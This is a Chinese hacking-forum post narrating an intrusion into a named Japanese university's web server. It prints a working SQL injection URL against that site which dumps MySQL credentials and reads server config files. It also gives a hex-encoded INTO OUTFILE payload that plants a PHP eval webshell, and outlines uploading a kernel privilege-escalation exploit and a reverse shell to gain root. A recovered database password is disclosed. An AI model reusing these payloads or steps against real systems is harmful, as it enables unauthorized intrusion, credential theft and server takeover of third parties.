找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2552|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析
# K/ l) C! f$ j$ A+ y$ G. V+ x* j9 O# }( x" X+ L) n
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
$ r; q/ b  b4 Q. _' ~9 u* Y然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
( T! w& \* X9 w4 ], f/ h' a5 Y; \' p7 n1 w/ N3 K8 Q4 c' [' n" G* R4 ?
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
) U. n9 m8 @& `- s! c/ a$ q: O$ b. @% s. C
+ l, F2 r4 p- q0 W2 e
% Y) p* u4 O  W  N9 C. f$ w
//@@datadir为数据库文件路径 8 C: k8 H8 @. Q2 _5 }6 g3 c: H

1 M  {- k2 \7 E0 `" F- Y% y' ~- a0 X; s1 ~
//load_file读取网站容器apache的配置文件 - n, q- H( A$ ~/ \: V/ t

1 P5 S! a" G4 r' m2 H# b# X; \3 j, _* m' F! q5 b0 G& n0 e' G
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
, V! d9 w3 s4 q! x  J0 u复制代码7 Q. }2 Y6 G$ F- x% R# x
; C/ w9 l/ P) b. W+ n8 R( K
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。- W: X; o$ ?8 [' m+ r  R( y
0 Y' s0 I. E- d- a5 g) V8 @
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。  }% q$ D, O* [  j
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
; Y4 a* B. T( J8 b" R( v! a# x0 T0 v, A
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
4 S& K0 [; j" \9 _/ \如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
2 A* J& z0 d# z1 r! B$ ^% R3 d* x4 V& _6 w# e$ Q7 i. a  e  w
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/* s* }1 _5 u$ m, J3 p
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。  h) K: X$ S) d- S9 ?/ y
直接写一句话:
: s; o' d4 f0 i
& D! i' u7 |' A# O4 b) u" C/ thttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
2 V. j  G7 [/ q. E: N  @! \7 e$ P9 F

+ K1 k# r5 F0 B: [7 I, t" o  p) ?! X" m0 }4 g
//最后的#是为了闭合前面的语句
0 \: \% b7 S4 A$ K 0 t3 J5 y, A" E- d  Z

8 k. U# u, n/ Z6 j" r/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E 8 @* Y7 i. A4 t7 y9 V% \( j
- R7 U5 T# V9 Z
' I- r! ~8 R. t$ a1 k' o  l$ p
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
* r9 B: i: b$ G# F& a$ ~5 m
" s" P! C# F# v2 ~! x, f  U
. \. |$ U) s: I' J5 p//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
0 G( z0 t( H, v! ~3 C
) @& m; R- l: D4 B8 W2 s6 W, |( t8 X; t
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 5 B; C+ z1 u7 i
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” # R  |. T# j7 U" u0 c0 J$ e: ~1 I
复制代码. Y3 a2 Z+ C9 O' x

7 \' H/ D  r) Q# AHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
( Y: v5 Q% a* O6 r通过上述注入语句,我们就得到了一句话木马:
6 ?. s9 V% ^  \. B/ @5 x) h8 `( K
6 _0 N- H0 a" j: \' t - Z* M& k0 t9 R# x+ O4 t, H4 [

0 @. ~1 X5 B$ N' T! h* H* c ' B. a6 d* A8 \( v  ?8 O7 M- R( D
$ F1 \# [7 J# C) S2 |% j
http://www.doshisha.ac.jp/english/engnews_img/aa.php
2 t7 ]( t* p' _3 H4 m复制代码
  V, {$ j2 v+ L$ `4 C5 c; ~# {' A/ R. [; ^9 D. j( L
用菜刀连接,密码是cmd,如图所示:
0 o2 Z  a7 C+ m" Y1 d/ t  C2 G" [) }然后在命令提示行里看了一下,现在的权限是:  P9 |; y' j0 S& J# f
: I8 s" D& ?4 V9 h
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
% i+ Q1 s' |' L" |+ k& S好在赋权给这个文件夹不需要root,直接执行赋权语句:
) \4 b; B! z4 j0 F. n& [5 T0 M
% [6 b8 ^" a. S9 B, T   j. g- F2 W& ?& |5 N

5 ~+ {1 N, \/ y" K3 g % ?+ W" z- k- w( ^& l9 o& W
% Q' q* P9 o! o
chmod +x /tmp/ 7 x5 m5 f4 m/ Q' e/ c# [
复制代码2 |$ i% \$ U! G
! c0 E# `7 j- w' @
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行" M# G5 t; H( H
然后就查了一下内核版本:
! N, d& X- o) e" f+ R; a; {! h
+ K2 U. e$ `- T9 d& f' L
+ i9 k7 g5 k# l0 J; W! e: x6 c# p' }+ m$ {& G+ K9 P

1 G' D1 f- F' S3 v2 E
+ g1 q  [* m/ g  q9 vuname-a ' j: U3 z: R0 {/ T) M  A. _- m( E) t* z
) h# s' H* p7 L2 U
: v' f' O* S6 u9 ?# [, E% I
//其实lsb_release -a
+ [+ p. X$ |: r* [5 M: P& |复制代码; I* S8 y5 {- ~; l5 B- e' T
' p- u1 Q+ g6 q; g! b5 R; w0 q( ^
如图所示:
2 p) T8 O) r1 s6 r/ I6 c) c; H5 _" F0 ~+ P" I! h
内核版本:linux mainz1 2.6.28-194.e15& y9 x' n- H4 j
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
$ E: j' e, E/ {# G4 [/ @6 Y; F查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
2 H+ D! u* R" `. g0 ]; Y& E6 B( {( E+ x7 o' t4 Y- @9 S
然后给予执行权限
" U, d9 L& r4 d* X. s一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
3 Z) x. n9 |2 Q# H: i' y& d8 y8 }1 u- X0 i$ r' O

# @5 L, I/ ]. ?; O# b) |9 F0 P1 n9 o5 w" Y9 Q) H8 d0 E

" P" d) a5 Y! `! z* S9 p" B4 k: h. s* }) V+ `* V' o& j; p
chmod +x /tmp/2.6.18-194 % X/ ~4 a3 a' n( T7 `& s
复制代码 然后直接执行!~- {$ ]# z* m1 K" G$ t6 z" d
- A/ n0 A/ ~1 i0 r* n( d' a
总结:# j# `3 b) I3 ?; p9 b
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了0 t; e: B$ Y1 F2 i) I4 M# C9 A, y
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root5 Z2 w5 ^7 W9 Q, Q. p0 Y

$ A/ O7 `5 y2 I% K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表